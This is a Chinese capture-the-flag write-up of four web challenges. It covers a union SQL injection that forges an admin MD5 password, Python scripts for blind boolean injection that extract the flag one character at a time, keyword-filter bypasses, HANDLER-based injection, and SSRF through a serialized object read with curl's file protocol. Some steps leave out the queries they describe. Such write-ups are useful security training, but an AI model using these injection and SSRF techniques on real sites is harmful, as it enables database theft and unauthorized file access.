[GXYCTF2019]BabySQli;[CISCN2019 华北赛区 Day2 Web1]Hack World;[GYCTF2020]Blacklist;[网鼎杯 2018]Fakebook
[GXYCTF2019]BabySQli
这段代码最为重要,只有usernamed的参数带入了sql语句,查询到结果后判断arr[1]是否为admin,arr[2]是否与md5加密后的密码相同
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
判断字段数,为3
联合注入会暂时储存要查询的数据,故可利用此机制使arr[1],arr[2]得到暂时插入的值,实现自己设置密码
设置暂时插入的数据,这里的密码为1的md5加密值
执行上面语句后,再执行
name=admi'union+select+0,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
,
arr[]返回的就是后面的查询内容,就符合上面的条件
查看到flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
这里输入1,2
会显示内容,输入其他的会显示false,并且过滤了空格,union,or,and
等字符
方法一:
使用if
函数
可用(),%0a,%0b
代替空格。因为为bool类型的回显,故可用if,mid
函数,或者使用substr
函数结合ascii
码,根据返回的bool值判断字段内容
判断字段内容的第一个字符是否为f
,若是则执行1,否则执行2,这里输出的是1的结果,说明判断正确
或
或
这里的%0a可能会让python当成参数,故可用()
代替
import requests
url='http://09272898-50d8-46d2-97eb-542aceb10bcd.node4.buuoj.cn:81/'
c=''
for a in range(1,50):
for b in '{qwertyuioplkjhgfdsazxcvbnm1234567890-_}':
payload='if(mid((select(flag)from(flag)),'+str(a)+',1)='+'\''+str(b)+'\''+',1,2)'
data={
"id":payload
}
d=requests.post(url=url,data=data)
if 'glzjin' in d.text:
c=c+str(b)
print(c)
break
但是答案始终不对,结果是-
被拦截了,故我们还可以用ascii来判断(这点困扰了我一上午)还有就是漏掉了一些字符
更改代码
import requests
url='http://09272898-50d8-46d2-97eb-542aceb10bcd.node4.buuoj.cn:81/'
c=''
for a in range(1,50):
for b in range(0,128):
payload='if(ascii(substr((select(flag)from(flag)),'+str(a)+',1))='+str(b)+',1,2)'
data={
"id":payload
}
d=requests.post(url=url,data=data)
if 'glzjin' in d.text:
c=c+chr(b)
print(c)
break
得到的flag还是会漏掉一些字符
可用多运行几次代码,得到的flag可能就不同(因为不知道它缺少的位置在哪儿,就可以多试一试)
因为这里可能会有连接错误的情况,就会漏掉一些字母
然后还可以将a的范围改成(1,15) (15,30) (30,45)后再请求,再对比上面的flag,看看是否存在缺少的字符,再进行拼凑
我也只能用这种方法得到flag了,不知道朋友们怎么做的
方法二:
使用异或运算,也可以进行判断
然后按照上面的方法更改就可以了
[GYCTF2020]Blacklist
mysql除了select
查询语句外,还可以使用HANDLER
HANDLER的用法可以参考这篇文章
https://blog.csdn.net/jesseyoung/article/details/40785137
过滤了这些字符,就不能使用预编译或堆叠注入直接查询了
故可用
handler
得到flag
[网鼎杯 2018]Fakebook
注册后点击用户名跳转到此页面,2的位置可显示内容得库,然后查表就报错了,之后才发现是把连在一起的
union select
给过滤了,所以我们可以使用/**/
绕过,如union/**/select
因为过滤了
0x
,故可以'~'
代替(这里使用报错注入也能实现注入)
查表
查列
查内容
拼凑出
O:8:"UserInfo":3:{s:4:"name";s:4:"haha";s:3:"age";i:10;s:4:"blog";s:14:"http://sda.com";}
说明表的数据存储的是序列化后的内容
之后就不知道咋弄了,只有看wp了,得知要扫目录,在robots.txt里得到备份文件,并且会扫到falg.php
,再利用ssrf访问到falg.php
(这里的网站限制了访问速度,试了一下,这个速度在它的范围之内)
扫描目录得到robots.txt,从里得到的源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)//这里给curl请求,并且没有过滤,就造成了ssrf漏洞
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}//获得blog的请求内容
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
因为curl可以向服务器发送请求,更改curl的内容就能造成ssrf漏洞了,利用伪协议读取文件
因为从2是username的位置,故blog是4的位置,所以要更改4的位置(开始我一直替换成了2 的位置~~)
public function getBlogContents () { return $this->get($this->blog); }//获得blog的请求内容
这里的内容应该就是上面语句的体现
还有一种方法利用load_file直接读取文件